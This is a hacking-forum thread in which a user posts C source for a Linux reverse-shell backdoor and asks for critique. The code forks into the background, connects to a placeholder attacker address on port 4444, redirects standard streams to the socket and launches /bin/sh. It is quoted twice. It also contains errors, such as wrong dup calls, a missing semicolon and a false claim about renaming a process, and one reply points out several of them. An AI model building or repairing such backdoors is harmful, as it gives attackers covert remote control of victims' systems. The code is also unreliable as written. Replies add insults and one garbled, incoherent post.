

Forum:[Hack Forums](#)

Thread: [\[Source Code\] simple backdoor written in C](#)

chill3d_boi - December 9, 2018, 11:30 am

```
Code #include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>

// prototype for backdoor function
void backdoor();

int main(int argc, char const *argv[])
{
    // renames the process to /bin/sh
    strcpy(argv[1], "/bin/sh");
    pid_t pid = fork();

    // exits it if the process is the parent
    if (pid > 0)
        exit(0);

    // checks if the process is the child
    else if(pid == 0)
    {
        // the code here is executed by the child

        // creates a new session and makes the child the new parent process
        setsid();

        // calls the main function for backdoor
        backdoor();
    }

    // exits there was an error with fork
    else if(pid < 0)
        exit(1)

    return 0;
}

// this is main function for the backdoor
void backdoor()
{
    // creates a socket
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
```

```

// checks for errors
if (sockfd == -1)
    exit(1);

// duplicates stdin, stdout and stderr and makes them send and recv data
dup(sockfd, 0);
dup(sockfd, 1);
dup(sockfd, 2);

struct addrinfo *res, hints;

// zeros hints
memset(&hints, 0, sizeof(hints));

hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;

// resolves the ip of your server
if((getaddrinfo("your url or ip", "4444", &hints, &res)) != 0)
    exit(1);

// connects to the server
connect(sockfd, res->res.ai_addr, res->ai_addrlen);

// executes /bin/sh
execl("/bin/sh", NULL);

// cleanup
close(sockfd);
freeaddrinfo(res);
}

```

can you guys critique my code and help me improve thanks

you_can_never_hack_me - December 10, 2018, 12:04 am

(Dec 9, 2018 12:30 PM)chill3d_boi Wrote: [\[CITE\]](#) can you guys critique my code and help me improve thanksYes - Rename it to Frontdoor.

jammy47 - December 10, 2018, 10:54 am

great going my buoy. Now start adding more functionality to it. Rohitab is your friend. Also google.

incognito04 - December 10, 2018, 2:30 pm

How does,
Code strcpy(argv[1], "/bin/sh"); rename the process

chill3d_boi - December 10, 2018, 11:32 pm

(Dec 10, 2018 03:30 PM)incognito04 Wrote: [\[CITE\]](#) How does,
Code strcpy(argv[1], "/bin/sh"); rename the process
This backdoor is written for Linux and thats how you rename a process

an balker - December 30, 2019, 5:38 pm

(Dec 9, 2018 12:30 PM)chill3d_boi Wrote: [\[CITE\]](#) Code #include <stdio.h>
#include <stdlib.h>

```

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>

// prototype for backdoor function
void backdoor();

int main(int argc, char const *argv[])
{
    // renames the process to /bin/sh
    strcpy(argv[1], "/bin/sh");
    pid_t pid = fork();

    // exits it if the process is the parent
    if (pid > 0)
        exit(0);

    // checks if the process is the child
    else if(pid == 0)
    {
        // the code here is executed by the child

        // creates a new session and makes the child the new parent process
        setsid();

        // calls the main function for backdoor
        backdoor();
    }

    // exits there was an _error_ with fork
    else if(pid < 0)
        exit(1)

    return 0;
}

// this is main function for the backdoor
void backdoor()
{
    // creates a socket
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);

    // checks for errors
    if (sockfd == -1)
        exit(1);

    // duplicates stdin, stdout and stderr and makes them send and recv data
    dup(sockfd, 0);
    dup(sockfd, 1);
    dup(sockfd, 2);

```

```

struct addrinfo *res, hints;

// zeros hints
memset(&hints, 0, sizeof(hints));

hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;

// resolves the ip of your server
if((getaddrinfo("your url or ip", "4444", &hints, &res)) != 0)
exit(1);

// connects to the server
connect(sockfd, res->res.ai_addr, res->ai_addrlen);

// executes /bin/sh
execl("/bin/sh", NULL);

// cleanup
close(sockfd);
freeaddrinfo(res);
}

```

can you guys critique my code and help me improve thanks

Are there other option's within your code to expose different model's under application from composed explanation because there may be implementation to contain privileged information for further details and maintain long data for AI evolving..

NullSystem - January 5, 2020, 11:44 pm

I'm not sure where to begin...

Code // renames the process to /bin/sh
 strcpy(argv[1], "/bin/sh");1.) I'm not sure where you got this information, but this doesn't change the current process name... all it does is copy "/bin/sh" to argv[1], which does.... nothing at all?

Code connect(sockfd, res->res.ai_addr, res->ai_addrlen);2.) Calling connect without even error checking, how do you know if the connect was successful or not?

Code // executes /bin/sh
 execl("/bin/sh", NULL);3.) Starts a local shell...

All in all this code is absolutely useless, well because it literally does nothing at all...
 From what I can tell, you're trying to write a reverse shell, but apparently you have no idea what you're doing.
 Instead of asking for advice on this forum, go read a book and learn to program..

Best Regards

ModernJS - January 7, 2020, 8:01 pm

Thanks for this im gonna backdoor my Laptop running debian

vad0x - January 7, 2020, 8:09 pm

(Jan 6, 2020 12:44 AM)NullSystem Wrote: [\[CITE\]](#) I'm not sure where to begin...

Code // renames the process to /bin/sh

strcpy(argv[1], "/bin/sh");1.) I'm not sure where you got this information, but this doesn't change the current process name... all it does is copy "/bin/sh" to argv[1], which does.... nothing at all?

Code connect(sockfd, res->res.ai_addr, res->ai_addrlen);2.) Calling connect without evenerror checking, how do you know if the connect was successful or not?

Code // executes /bin/sh

execl("/bin/sh", NULL);3.) Starts a local shell...

All in all this code is absolutely useless, well because it literally does nothing at all...

From what I can tell, you're trying to write a reverse shell, but apparently you have no idea what you're doing.

Instead of asking for advice on this forum, go read a book and learn to program..

Best Regards

Damn ur a dick go read the [Help Docs](#) over and over and over again. BE NICE bruh, give him some better advice instead of go fuck urself read a book.

ModernJS - January 7, 2020, 8:24 pm

VSCODE gave me errors such as

Code pointer to incomplete class type is not allowed

ahh let me compile if no refactor

strikemike - January 8, 2020, 1:52 am

going to study this code thx man